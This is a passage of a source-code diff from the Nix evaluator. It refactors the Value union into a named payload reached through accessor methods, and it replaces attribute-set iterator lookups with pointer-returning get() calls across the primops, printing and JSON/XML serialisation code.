value=...;} pair"); + auto j = getAttr(state, state.sName, v2->attrs(), "in a {name=...; value=...;} pair"); auto name = state.forceStringNoCtx(*j->value, j->pos, "while evaluating the `name` attribute of an element of the list passed to builtins.listToAttrs"); auto sym = state.symbols.create(name); if (seen.insert(sym).second) { - Bindings::iterator j2 = getAttr(state, state.sValue, v2->attrs, "in a {name=...; value=...;} pair"); + auto j2 = getAttr(state, state.sValue, v2->attrs(), "in a {name=...; value=...;} pair"); attrs.insert(sym, j2->value, j2->pos); } } @@ -2717,8 +2724,8 @@ static void prim_intersectAttrs(EvalState & state, const PosIdx pos, Value * * a state.forceAttrs(*args[0], pos, "while evaluating the first argument passed to builtins.intersectAttrs"); state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.intersectAttrs"); - Bindings &left = *args[0]->attrs; - Bindings &right = *args[1]->attrs; + auto & left = *args[0]->attrs(); + auto & right = *args[1]->attrs(); auto attrs = state.buildBindings(std::min(left.size(), right.size())); @@ -2762,14 +2769,14 @@ static void prim_intersectAttrs(EvalState & state, const PosIdx pos, Value * * a if (left.size() < right.size()) { for (auto & l : left) { - Bindings::iterator r = right.find(l.name); + auto r = right.find(l.name); if (r != right.end()) attrs.insert(*r); } } else { for (auto & r : right) { - Bindings::iterator l = left.find(r.name); + auto l = left.find(r.name); if (l != left.end()) attrs.insert(r); } @@ -2800,8 +2807,7 @@ static void prim_catAttrs(EvalState & state, const PosIdx pos, Value * * args, V for (auto v2 : args[1]->listItems()) { state.forceAttrs(*v2, pos, "while evaluating an element in the list passed as second argument to builtins.catAttrs"); - Bindings::iterator i = v2->attrs->find(attrName); - if (i != v2->attrs->end()) + if (auto i = v2->attrs()->get(attrName)) res[found++] = i->value; } @@ -2838,13 +2844,13 @@ static void prim_functionArgs(EvalState & state, const PosIdx pos, Value * * arg if (!args[0]->isLambda()) state.error("'functionArgs' requires a function").atPos(pos).debugThrow(); - if (!args[0]->lambda.fun->hasFormals()) { + if (!args[0]->payload.lambda.fun->hasFormals()) { v.mkAttrs(&state.emptyBindings); return; } - auto attrs = state.buildBindings(args[0]->lambda.fun->formals->formals.size()); - for (auto & i : args[0]->lambda.fun->formals->formals) + auto attrs = state.buildBindings(args[0]->payload.lambda.fun->formals->formals.size()); + for (auto & i : args[0]->payload.lambda.fun->formals->formals) attrs.insert(i.name, state.getBool(i.def), i.pos); v.mkAttrs(attrs); } @@ -2871,9 +2877,9 @@ static void prim_mapAttrs(EvalState & state, const PosIdx pos, Value * * args, V { state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.mapAttrs"); - auto attrs = state.buildBindings(args[1]->attrs->size()); + auto attrs = state.buildBindings(args[1]->attrs()->size()); - for (auto & i : *args[1]->attrs) { + for (auto & i : *args[1]->attrs()) { Value * vName = state.allocValue(); Value * vFun2 = state.allocValue(); vName->mkString(state.symbols[i.name]); @@ -2923,7 +2929,7 @@ static void prim_zipAttrsWith(EvalState & state, const PosIdx pos, Value * * arg for (auto & vElem : listItems) { state.forceAttrs(*vElem, noPos, "while evaluating a value of the list passed as second argument to builtins.zipAttrsWith"); - for (auto & attr : *vElem->attrs) + for (auto & attr : *vElem->attrs()) attrsSeen.try_emplace(attr.name).first->second.size++; } @@ -2931,7 +2937,7 @@ static void prim_zipAttrsWith(EvalState & state, const PosIdx pos, Value * * arg elem.list.emplace(state.buildList(elem.size)); for (auto & vElem : listItems) { - for (auto & attr : *vElem->attrs) { + for (auto & attr : *vElem->attrs()) { auto & item = attrsSeen.at(attr.name); (*item.list)[item.pos++] = attr.value; } @@ -3375,7 +3381,7 @@ static void prim_sort(EvalState & state, const PosIdx pos, Value * * args, Value callFunction. */ /* TODO: (layus) this is absurd. An optimisation like this should be outside the lambda creation */ - if (args[0]->isPrimOp() && args[0]->primOp->fun == prim_lessThan) + if (args[0]->isPrimOp() && args[0]->primOp()->fun == prim_lessThan) return CompareValues(state, noPos, "while evaluating the ordering function passed to builtins.sort")(a, b); Value * vs[] = {a, b}; @@ -3866,18 +3872,17 @@ static RegisterPrimOp primop_hashString({ static void prim_convertHash(EvalState & state, const PosIdx pos, Value * * args, Value & v) { state.forceAttrs(*args[0], pos, "while evaluating the first argument passed to builtins.convertHash"); - auto &inputAttrs = args[0]->attrs; + auto inputAttrs = args[0]->attrs(); - Bindings::iterator iteratorHash = getAttr(state, state.symbols.create("hash"), inputAttrs, "while locating the attribute 'hash'"); + auto iteratorHash = getAttr(state, state.symbols.create("hash"), inputAttrs, "while locating the attribute 'hash'"); auto hash = state.forceStringNoCtx(*iteratorHash->value, pos, "while evaluating the attribute 'hash'"); - Bindings::iterator iteratorHashAlgo = inputAttrs->find(state.symbols.create("hashAlgo")); + auto iteratorHashAlgo = inputAttrs->get(state.symbols.create("hashAlgo")); std::optional ha = std::nullopt; - if (iteratorHashAlgo != inputAttrs->end()) { + if (iteratorHashAlgo) ha = parseHashAlgo(state.forceStringNoCtx(*iteratorHashAlgo->value, pos, "while evaluating the attribute 'hashAlgo'")); - } - Bindings::iterator iteratorToHashFormat = getAttr(state, state.symbols.create("toHashFormat"), args[0]->attrs, "while locating the attribute 'toHashFormat'"); + auto iteratorToHashFormat = getAttr(state, state.symbols.create("toHashFormat"), args[0]->attrs(), "while locating the attribute 'toHashFormat'"); HashFormat hf = parseHashFormat(state.forceStringNoCtx(*iteratorToHashFormat->value, pos, "while evaluating the attribute 'toHashFormat'")); v.mkString(Hash::parseAny(hash, ha).to_string(hf, hf == HashFormat::SRI)); @@ -4623,7 +4628,7 @@ void EvalState::createBaseEnv() /* Now that we've added all primops, sort the `builtins' set, because attribute lookups expect it to be sorted. */ - baseEnv.values[0]->attrs->sort(); + baseEnv.values[0]->payload.attrs->sort(); staticBaseEnv->sort(); diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index 75d9e147d..2d3013132 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -258,7 +258,7 @@ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * ar auto sPath = state.symbols.create("path"); auto sAllOutputs = state.symbols.create("allOutputs"); - for (auto & i : *args[1]->attrs) { + for (auto & i : *args[1]->attrs()) { const auto & name = state.symbols[i.name]; if (!state.store->isStorePath(name)) state.error( @@ -269,17 +269,16 @@ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * ar if (!settings.readOnlyMode) state.store->ensurePath(namePath); state.forceAttrs(*i.value, i.pos, "while evaluating the value of a string context"); - auto iter = i.value->attrs->find(sPath); - if (iter != i.value->attrs->end()) { - if (state.forceBool(*iter->value, iter->pos, "while evaluating the `path` attribute of a string context")) + + if (auto attr = i.value->attrs()->get(sPath)) { + if (state.forceBool(*attr->value, attr->pos, "while evaluating the `path` attribute of a string context")) context.emplace(NixStringContextElem::Opaque { .path = namePath, }); } - iter = i.value->attrs->find(sAllOutputs); - if (iter != i.value->attrs->end()) { - if (state.forceBool(*iter->value, iter->pos, "while evaluating the `allOutputs` attribute of a string context")) { + if (auto attr = i.value->attrs()->get(sAllOutputs)) { + if (state.forceBool(*attr->value, attr->pos, "while evaluating the `allOutputs` attribute of a string context")) { if (!isDerivation(name)) { state.error( "tried to add all-outputs context of %s, which is not a derivation, to a string", @@ -292,17 +291,16 @@ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * ar } } - iter = i.value->attrs->find(state.sOutputs); - if (iter != i.value->attrs->end()) { - state.forceList(*iter->value, iter->pos, "while evaluating the `outputs` attribute of a string context"); - if (iter->value->listSize() && !isDerivation(name)) { + if (auto attr = i.value->attrs()->get(state.sOutputs)) { + state.forceList(*attr->value, attr->pos, "while evaluating the `outputs` attribute of a string context"); + if (attr->value->listSize() && !isDerivation(name)) { state.error( "tried to add derivation output context of %s, which is not a derivation, to a string", name ).atPos(i.pos).debugThrow(); } - for (auto elem : iter->value->listItems()) { - auto outputName = state.forceStringNoCtx(*elem, iter->pos, "while evaluating an output name within a string context"); + for (auto elem : attr->value->listItems()) { + auto outputName = state.forceStringNoCtx(*elem, attr->pos, "while evaluating an output name within a string context"); context.emplace(NixStringContextElem::Built { .drvPath = makeConstantStorePathRef(namePath), .output = std::string { outputName }, diff --git a/src/libexpr/primops/fetchClosure.cc b/src/libexpr/primops/fetchClosure.cc index f51a6465d..fc5bb3145 100644 --- a/src/libexpr/primops/fetchClosure.cc +++ b/src/libexpr/primops/fetchClosure.cc @@ -121,7 +121,7 @@ static void prim_fetchClosure(EvalState & state, const PosIdx pos, Value * * arg std::optional toPath; std::optional inputAddressedMaybe; - for (auto & attr : *args[0]->attrs) { + for (auto & attr : *args[0]->attrs()) { const auto & attrName = state.symbols[attr.name]; auto attrHint = [&]() -> std::string { return "while evaluating the '" + attrName + "' attribute passed to builtins.fetchClosure"; diff --git a/src/libexpr/primops/fetchMercurial.cc b/src/libexpr/primops/fetchMercurial.cc index bfc19115a..d9ba6aa97 100644 --- a/src/libexpr/primops/fetchMercurial.cc +++ b/src/libexpr/primops/fetchMercurial.cc @@ -20,7 +20,7 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a if (args[0]->type() == nAttrs) { - for (auto & attr : *args[0]->attrs) { + for (auto & attr : *args[0]->attrs()) { std::string_view n(state.symbols[attr.name]); if (n == "url") url = state.coerceToString(attr.pos, *attr.value, context, diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 5061e40fd..409b36d81 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -97,7 +97,7 @@ static void fetchTree( fetchers::Attrs attrs; - if (auto aType = args[0]->attrs->get(state.sType)) { + if (auto aType = args[0]->attrs()->get(state.sType)) { if (type) state.error( "unexpected attribute 'type'" @@ -110,7 +110,7 @@ static void fetchTree( attrs.emplace("type", type.value()); - for (auto & attr : *args[0]->attrs) { + for (auto & attr : *args[0]->attrs()) { if (attr.name == state.sType) continue; state.forceValue(*attr.value, attr.pos); if (attr.value->type() == nPath || attr.value->type() == nString) { @@ -121,9 +121,9 @@ static void fetchTree( : s); } else if (attr.value->type() == nBool) - attrs.emplace(state.symbols[attr.name], Explicit{attr.value->boolean}); + attrs.emplace(state.symbols[attr.name], Explicit{attr.value->boolean()}); else if (attr.value->type() == nInt) - attrs.emplace(state.symbols[attr.name], uint64_t(attr.value->integer)); + attrs.emplace(state.symbols[attr.name], uint64_t(attr.value->integer())); else if (state.symbols[attr.name] == "publicKeys") { experimentalFeatureSettings.require(Xp::VerifiedFetches); attrs.emplace(state.symbols[attr.name], printValueAsJSON(state, true, *attr.value, pos, context).dump()); @@ -422,7 +422,7 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v if (args[0]->type() == nAttrs) { - for (auto & attr : *args[0]->attrs) { + for (auto & attr : *args[0]->attrs()) { std::string_view n(state.symbols[attr.name]); if (n == "url") url = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the url we should fetch"); diff --git a/src/libexpr/print-ambiguous.cc b/src/libexpr/print-ambiguous.cc index 521250cec..5d55b45da 100644 --- a/src/libexpr/print-ambiguous.cc +++ b/src/libexpr/print-ambiguous.cc @@ -21,10 +21,10 @@ void printAmbiguous( } switch (v.type()) { case nInt: - str << v.integer; + str << v.integer(); break; case nBool: - printLiteralBool(str, v.boolean); + printLiteralBool(str, v.boolean()); break; case nString: printLiteralString(str, v.string_view()); @@ -36,11 +36,11 @@ void printAmbiguous( str << "null"; break; case nAttrs: { - if (seen && !v.attrs->empty() && !seen->insert(v.attrs).second) + if (seen && !v.attrs()->empty() && !seen->insert(v.attrs()).second) str << "«repeated»"; else { str << "{ "; - for (auto & i : v.attrs->lexicographicOrder(symbols)) { + for (auto & i : v.attrs()->lexicographicOrder(symbols)) { str << symbols[i->name] << " = "; printAmbiguous(*i->value, symbols, str, seen, depth - 1); str << "; "; @@ -87,10 +87,10 @@ void printAmbiguous( } break; case nExternal: - str << *v.external; + str << *v.external(); break; case nFloat: - str << v.fpoint; + str << v.fpoint(); break; default: printError("Nix evaluator internal error: printAmbiguous: invalid value type"); diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index f67e94750..7799a0bbe 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -223,7 +223,7 @@ private: { if (options.ansiColors) output << ANSI_CYAN; - output << v.integer; + output << v.integer(); if (options.ansiColors) output << ANSI_NORMAL; } @@ -232,7 +232,7 @@ private: { if (options.ansiColors) output << ANSI_CYAN; - output << v.fpoint; + output << v.fpoint(); if (options.ansiColors) output << ANSI_NORMAL; } @@ -241,7 +241,7 @@ private: { if (options.ansiColors) output << ANSI_CYAN; - printLiteralBool(output, v.boolean); + printLiteralBool(output, v.boolean()); if (options.ansiColors) output << ANSI_NORMAL; } @@ -271,10 +271,9 @@ private: void printDerivation(Value & v) { - Bindings::iterator i = v.attrs->find(state.sDrvPath); NixStringContext context; std::string storePath; - if (i != v.attrs->end()) + if (auto i = v.attrs()->get(state.sDrvPath)) storePath = state.store->printStorePath(state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation")); if (options.ansiColors) @@ -312,7 +311,7 @@ private: void printAttrs(Value & v, size_t depth) { - if (seen && !seen->insert(v.attrs).second) { + if (seen && !seen->insert(v.attrs()).second) { printRepeated(); return; } @@ -324,7 +323,7 @@ private: output << "{"; AttrVec sorted; - for (auto & i : *v.attrs) + for (auto & i : *v.attrs()) sorted.emplace_back(std::pair(state.symbols[i.name], i.value)); if (options.maxAttrs == std::numeric_limits::max()) @@ -423,18 +422,18 @@ private: if (v.isLambda()) { output << "lambda"; - if (v.lambda.fun) { - if (v.lambda.fun->name) { - output << " " << state.symbols[v.lambda.fun->name]; + if (v.payload.lambda.fun) { + if (v.payload.lambda.fun->name) { + output << " " << state.symbols[v.payload.lambda.fun->name]; } std::ostringstream s; - s << state.positions[v.lambda.fun->pos]; + s << state.positions[v.payload.lambda.fun->pos]; output << " @ " << filterANSIEscapes(s.str()); } } else if (v.isPrimOp()) { - if (v.primOp) - output << *v.primOp; + if (v.primOp()) + output << *v.primOp(); else output << "primop"; } else if (v.isPrimOpApp()) { @@ -480,7 +479,7 @@ private: void printExternal(Value & v) { - v.external->print(output); + v.external()->print(output); } void printUnknown() diff --git a/src/libexpr/value-to-json.cc b/src/libexpr/value-to-json.cc index 3f877a7fd..936ecf078 100644 --- a/src/libexpr/value-to-json.cc +++ b/src/libexpr/value-to-json.cc @@ -22,11 +22,11 @@ json printValueAsJSON(EvalState & state, bool strict, switch (v.type()) { case nInt: - out = v.integer; + out = v.integer(); break; case nBool: - out = v.boolean; + out = v.boolean(); break; case nString: @@ -52,24 +52,20 @@ json printValueAsJSON(EvalState & state, bool strict, out = *maybeString; break; } - auto i = v.attrs->find(state.sOutPath); - if (i == v.attrs->end()) { + if (auto i = v.attrs()->get(state.sOutPath)) + return printValueAsJSON(state, strict, *i->value, i->pos, context, copyToStore); + else { out = json::object(); - StringSet names; - for (auto & j : *v.attrs) - names.emplace(state.symbols[j.name]); - for (auto & j : names) { - Attr & a(*v.attrs->find(state.symbols.create(j))); + for (auto & a : v.attrs()->lexicographicOrder(state.symbols)) { try { - out[j] = printValueAsJSON(state, strict, *a.value, a.pos, context, copyToStore); + out[state.symbols[a->name]] = printValueAsJSON(state, strict, *a->value, a->pos, context, copyToStore); } catch (Error & e) { - e.addTrace(state.positions[a.pos], - HintFmt("while evaluating attribute '%1%'", j)); + e.addTrace(state.positions[a->pos], + HintFmt("while evaluating attribute '%1%'", state.symbols[a->name])); throw; } } - } else - return printValueAsJSON(state, strict, *i->value, i->pos, context, copyToStore); + } break; } @@ -90,11 +86,11 @@ json printValueAsJSON(EvalState & state, bool strict, } case nExternal: - return v.external->printValueAsJSON(state, strict, context, copyToStore); + return v.external()->printValueAsJSON(state, strict, context, copyToStore); break; case nFloat: - out = v.fpoint; + out = v.fpoint(); break; case nThunk: diff --git a/src/libexpr/value-to-xml.cc b/src/libexpr/value-to-xml.cc index 5032115bb..1de8cdf84 100644 --- a/src/libexpr/value-to-xml.cc +++ b/src/libexpr/value-to-xml.cc @@ -32,23 +32,18 @@ static void posToXML(EvalState & state, XMLAttrs & xmlAttrs, const Pos & pos) static void showAttrs(EvalState & state, bool strict, bool location, - Bindings & attrs, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen) + const Bindings & attrs, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen) { StringSet names; - for (auto & i : attrs) - names.emplace(state.symbols[i.name]); - - for (auto & i : names) { - Attr & a(*attrs.find(state.symbols.create(i))); - + for (auto & a : attrs.lexicographicOrder(state.symbols)) { XMLAttrs xmlAttrs; - xmlAttrs["name"] = i; - if (location && a.pos) posToXML(state, xmlAttrs, state.positions[a.pos]); + xmlAttrs["name"] = state.symbols[a->name]; + if (location && a->pos) posToXML(state, xmlAttrs, state.positions[a->pos]); XMLOpenElement _(doc, "attr", xmlAttrs); printValueAsXML(state, strict, location, - *a.value, doc, context, drvsSeen, a.pos); + *a->value, doc, context, drvsSeen, a->pos); } } @@ -64,11 +59,11 @@ static void printValueAsXML(EvalState & state, bool strict, bool location, switch (v.type()) { case nInt: - doc.writeEmptyElement("int", singletonAttrs("value", fmt("%1%", v.integer))); + doc.writeEmptyElement("int", singletonAttrs("value", fmt("%1%", v.integer()))); break; case nBool: - doc.writeEmptyElement("bool", singletonAttrs("value", v.boolean ? "true" : "false")); + doc.writeEmptyElement("bool", singletonAttrs("value", v.boolean() ? "true" : "false")); break; case nString: @@ -89,18 +84,14 @@ static void printValueAsXML(EvalState & state, bool strict, bool location, if (state.isDerivation(v)) { XMLAttrs xmlAttrs; - Bindings::iterator a = v.attrs->find(state.symbols.create("derivation")); - Path drvPath; - a = v.attrs->find(state.sDrvPath); - if (a != v.attrs->end()) { + if (auto a = v.attrs()->get(state.sDrvPath)) { if (strict) state.forceValue(*a->value, a->pos); if (a->value->type() == nString) xmlAttrs["drvPath"] = drvPath = a->value->c_str(); } - a = v.attrs->find(state.sOutPath); - if (a != v.attrs->end()) { + if (auto a = v.attrs()->get(state.sOutPath)) { if (strict) state.forceValue(*a->value, a->pos); if (a->value->type() == nString) xmlAttrs["outPath"] = a->value->c_str(); @@ -109,14 +100,14 @@ static void printValueAsXML(EvalState & state, bool strict, bool location, XMLOpenElement _(doc, "derivation", xmlAttrs); if (drvPath != "" && drvsSeen.insert(drvPath).second) - showAttrs(state, strict, location, *v.attrs, doc, context, drvsSeen); + showAttrs(state, strict, location, *v.attrs(), doc, context, drvsSeen); else doc.writeEmptyElement("repeated"); } else { XMLOpenElement _(doc, "attrs"); - showAttrs(state, strict, location, *v.attrs, doc, context, drvsSeen); + showAttrs(state, strict, location, *v.attrs(), doc, context, drvsSeen); } break; @@ -135,28 +126,28 @@ static void printValueAsXML(EvalState & state, bool strict, bool location, break; } XMLAttrs xmlAttrs; - if (location) posToXML(state, xmlAttrs, state.positions[v.lambda.fun->pos]); + if (location) posToXML(state, xmlAttrs, state.positions[v.payload.lambda.fun->pos]); XMLOpenElement _(doc, "function", xmlAttrs); - if (v.lambda.fun->hasFormals()) { + if (v.payload.lambda.fun->hasFormals()) { XMLAttrs attrs; - if (v.lambda.fun->arg) attrs["name"] = state.symbols[v.lambda.fun->arg]; - if (v.lambda.fun->formals->ellipsis) attrs["ellipsis"] = "1"; + if (v.payload.lambda.fun->arg) attrs["name"] = state.symbols[v.payload.lambda.fun->arg]; + if (v.payload.lambda.fun->formals->ellipsis) attrs["ellipsis"] = "1"; XMLOpenElement _(doc, "attrspat", attrs); - for (auto & i : v.lambda.fun->formals->lexicographicOrder(state.symbols)) + for (auto & i : v.payload.lambda.fun->formals->lexicographicOrder(state.symbols)) doc.writeEmptyElement("attr", singletonAttrs("name", state.symbols[i.name])); } else - doc.writeEmptyElement("varpat", singletonAttrs("name", state.symbols[v.lambda.fun->arg])); + doc.writeEmptyElement("varpat", singletonAttrs("name", state.symbols[v.payload.lambda.fun->arg])); break; } case nExternal: - v.external->printValueAsXML(state, strict, location, doc, context, drvsSeen, pos); + v.external()->printValueAsXML(state, strict, location, doc, context, drvsSeen, pos); break; case nFloat: - doc.writeEmptyElement("float", singletonAttrs("value", fmt("%1%", v.fpoint))); + doc.writeEmptyElement("float", singletonAttrs("value", fmt("%1%", v.fpoint()))); break; case nThunk: diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 335801b34..eb71765c5 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -234,14 +234,14 @@ public: ExprLambda * fun; }; - union + using Payload = union { NixInt integer; bool boolean; StringWithContext string; - Path _path; + Path path; Bindings * attrs; struct { @@ -258,6 +258,8 @@ public: NixFloat fpoint; }; + Payload payload; + /** * Returns the normal type of a Value. This only returns nThunk if * the Value hasn't been forceValue'd @@ -286,34 +288,31 @@ public: abort(); } - /** - * After overwriting an app node, be sure to clear pointers in the - * Value to ensure that the target isn't kept alive unnecessarily. - */ - inline void clearValue() + inline void finishValue(InternalType newType, Payload newPayload) { - app.left = app.right = 0; + /* After overwriting thunk/app values, be sure to clear + pointers in the Value to ensure that the target isn't kept + alive unnecessarily. */ + payload.app.left = payload.app.right = 0; + + payload = newPayload; + + internalType = newType; } inline void mkInt(NixInt n) { - clearValue(); - internalType = tInt; - integer = n; + finishValue(tInt, { .integer = n }); } inline void mkBool(bool b) { - clearValue(); - internalType = tBool; - boolean = b; + finishValue(tBool, { .boolean = b }); } inline void mkString(const char * s, const char * * context = 0) { - internalType = tString; - string.c_str = s; - string.context = context; + finishValue(tString, { .string = { .c_str = s, .context = context } }); } void mkString(std::string_view s); @@ -331,63 +330,44 @@ public: inline void mkPath(InputAccessor * accessor, const char * path) { - clearValue(); - internalType = tPath; - _path.accessor = accessor; - _path.path = path; + finishValue(tPath, { .path = { .accessor = accessor, .path = path } }); } inline void mkNull() { - clearValue(); - internalType = tNull; + finishValue(tNull, {}); } inline void mkAttrs(Bindings * a) { - clearValue(); - internalType = tAttrs; - attrs = a; + finishValue(tAttrs, { .attrs = a }); } Value & mkAttrs(BindingsBuilder & bindings); void mkList(const ListBuilder & builder) { - clearValue(); - if (builder.size == 1) { - smallList[0] = builder.inlineElems[0]; - internalType = tList1; - } else if (builder.size == 2) { - smallList[0] = builder.inlineElems[0]; - smallList[1] = builder.inlineElems[1]; - internalType = tList2; - } else { - bigList.size = builder.size; - bigList.elems = builder.elems; - internalType = tListN; - } + if (builder.size == 1) + finishValue(tList1, { .smallList = { builder.inlineElems[0] } }); + else if (builder.size == 2) + finishValue(tList2, { .smallList = { builder.inlineElems[0], builder.inlineElems[1] } }); + else + finishValue(tListN, { .bigList = { .size = builder.size, .elems = builder.elems } }); } inline void mkThunk(Env * e, Expr * ex) { - internalType = tThunk; - thunk.env = e; - thunk.expr = ex; + finishValue(tThunk, { .thunk = { .env = e, .expr = ex } }); } inline void mkApp(Value * l, Value * r) { - internalType = tApp; - app.left = l; - app.right = r; + finishValue(tApp, { .app = { .left = l, .right = r } }); } inline void mkLambda(Env * e, ExprLambda * f) { - internalType = tLambda; - lambda.env = e; - lambda.fun = f; + finishValue(tLambda, { .lambda = { .env = e, .fun = f } }); } inline void mkBlackhole(); @@ -396,28 +376,22 @@ public: inline void mkPrimOpApp(Value * l, Value * r) { - internalType = tPrimOpApp; - primOpApp.left = l; - primOpApp.right = r; + finishValue(tPrimOpApp, { .primOpApp = { .left = l, .right = r } }); } /** * For a `tPrimOpApp` value, get the original `PrimOp` value. */ - PrimOp * primOpAppPrimOp() const; + const PrimOp * primOpAppPrimOp() const; inline void mkExternal(ExternalValueBase * e) { - clearValue(); - internalType = tExternal; - external = e; + finishValue(tExternal, { .external = e }); } inline void mkFloat(NixFloat n) { - clearValue(); - internalType = tFloat; - fpoint = n; + finishValue(tFloat, { .fpoint = n }); } bool isList() const @@ -427,7 +401,7 @@ public: Value * const * listElems() { - return internalType == tList1 || internalType == tList2 ? smallList : bigList.elems; + return internalType == tList1 || internalType == tList2 ? payload.smallList : payload.bigList.elems; } std::span listItems() const @@ -438,12 +412,12 @@ public: Value * const * listElems() const { - return internalType == tList1 || internalType == tList2 ? smallList : bigList.elems; + return internalType == tList1 || internalType == tList2 ? payload.smallList : payload.bigList.elems; } size_t listSize() const { - return internalType == tList1 ? 1 : internalType == tList2 ? 2 : bigList.size; + return internalType == tList1 ? 1 : internalType == tList2 ? 2 : payload.bigList.size; } PosIdx determinePos(const PosIdx pos) const; @@ -459,26 +433,44 @@ public: { assert(internalType == tPath); return SourcePath( - ref(_path.accessor->shared_from_this()), - CanonPath(CanonPath::unchecked_t(), _path.path)); + ref(payload.path.accessor->shared_from_this()), + CanonPath(CanonPath::unchecked_t(), payload.path.path)); } std::string_view string_view() const { assert(internalType == tString); - return std::string_view(string.c_str); + return std::string_view(payload.string.c_str); } const char * const c_str() const { assert(internalType == tString); - return string.c_str; + return payload.string.c_str; } const char * * context() const { - return string.context; + return payload.string.context; } + + ExternalValueBase * external() const + { return payload.external; } + + const Bindings * attrs() const + { return payload.attrs; } + + const PrimOp * primOp() const + { return payload.primOp; } + + bool boolean() const + { return payload.boolean; } + + NixInt integer() const + { return payload.integer; } + + NixFloat fpoint() const + { return payload.fpoint; } }; @@ -486,13 +478,12 @@ extern ExprBlackHole eBlackHole; bool Value::isBlackhole() const { - return internalType == tThunk && thunk.expr == (Expr*) &eBlackHole; + return internalType == tThunk && payload.thunk.expr == (Expr*) &eBlackHole; } void Value::mkBlackhole() { - internalType = tThunk; - thunk.expr = (Expr*) &eBlackHole; + mkThunk(nullptr, (Expr *) &eBlackHole); } diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 35eef5b83..35bc03926 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -332,8 +332,8 @@ static void main_nix_build(int argc, char * * argv) return false; } bool add = false; - if (v.type() == nFunction && v.lambda.fun->hasFormals()) { - for (auto & i : v.lambda.fun->formals->formals) { + if (v.type() == nFunction && v.payload.lambda.fun->hasFormals()) { + for (auto & i : v.payload.lambda.fun->formals->formals) { if (state->symbols[i.name] == "inNixShell") { add = true; break; diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index f79755375..9aff83bb0 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -1237,15 +1237,15 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) xml.writeEmptyElement("meta", attrs2); } else if (v->type() == nInt) { attrs2["type"] = "int"; - attrs2["value"] = fmt("%1%", v->integer); + attrs2["value"] = fmt("%1%", v->integer()); xml.writeEmptyElement("meta", attrs2); } else if (v->type() == nFloat) { attrs2["type"] = "float"; - attrs2["value"] = fmt("%1%", v->fpoint); + attrs2["value"] = fmt("%1%", v->fpoint()); xml.writeEmptyElement("meta", attrs2); } else if (v->type() == nBool) { attrs2["type"] = "bool"; - attrs2["value"] = v->boolean ? "true" : "false"; + attrs2["value"] = v->boolean() ? "true" : "false"; xml.writeEmptyElement("meta", attrs2); } else if (v->type() == nList) { attrs2["type"] = "strings"; @@ -1259,13 +1259,11 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) } else if (v->type() == nAttrs) { attrs2["type"] = "strings"; XMLOpenElement m(xml, "meta", attrs2); - Bindings & attrs = *v->attrs; - for (auto &i : attrs) { - Attr & a(*attrs.find(i.name)); - if(a.value->type() != nString) continue; + for (auto & i : *v->attrs()) { + if (i.value->type() != nString) continue; XMLAttrs attrs3; attrs3["type"] = globals.state->symbols[i.name]; - attrs3["value"] = a.value->c_str(); + attrs3["value"] = i.value->c_str(); xml.writeEmptyElement("string", attrs3); } } diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc index dd27344aa..6cbbacb15 100644 --- a/src/nix-env/user-env.cc +++ b/src/nix-env/user-env.cc @@ -138,9 +138,9 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, debug("evaluating user environment builder"); state.forceValue(topLevel, topLevel.determinePos(noPos)); NixStringContext context; - Attr & aDrvPath(*topLevel.attrs->find(state.sDrvPath)); + auto & aDrvPath(*topLevel.attrs()->find(state.sDrvPath)); auto topLevelDrv = state.coerceToStorePath(aDrvPath.pos, *aDrvPath.value, context, ""); - Attr & aOutPath(*topLevel.attrs->find(state.sOutPath)); + auto & aOutPath(*topLevel.attrs()->find(state.sOutPath)); auto topLevelOut = state.coerceToStorePath(aOutPath.pos, *aOutPath.value, context, ""); /* Realise the resulting store expression. */ diff --git a/src/nix/bundle.cc b/src/nix/bundle.cc index 54cc6a17f..2e50392f7 100644 --- a/src/nix/bundle.cc +++ b/src/nix/bundle.cc @@ -93,14 +93,14 @@ struct CmdBundle : InstallableValueCommand if (!evalState->isDerivation(*vRes)) throw Error("the bundler '%s' does not produce a derivation", bundler.what()); - auto attr1 = vRes->attrs->get(evalState->sDrvPath); + auto attr1 = vRes->attrs()->get(evalState->sDrvPath); if (!attr1) throw Error("the bundler '%s' does not produce a derivation", bundler.what()); NixStringContext context2; auto drvPath = evalState->coerceToStorePath(attr1->pos, *attr1->value, context2, ""); - auto attr2 = vRes->attrs->get(evalState->sOutPath); + auto attr2 = vRes->attrs()->get(evalState->sOutPath); if (!attr2) throw Error("the bundler '%s' does not produce a derivation", bundler.what()); @@ -116,7 +116,7 @@ struct CmdBundle : InstallableValueCommand auto outPathS = store->printStorePath(outPath); if (!outLink) { - auto * attr = vRes->attrs->get(evalState->sName); + auto * attr = vRes->attrs()->get(evalState->sName); if (!attr) throw Error("attribute 'name' missing"); outLink = evalState->forceStringNoCtx(*attr->value, attr->pos, ""); diff --git a/src/nix/eval.cc b/src/nix/eval.cc index 088be3b17..7b9bf7cb1 100644 --- 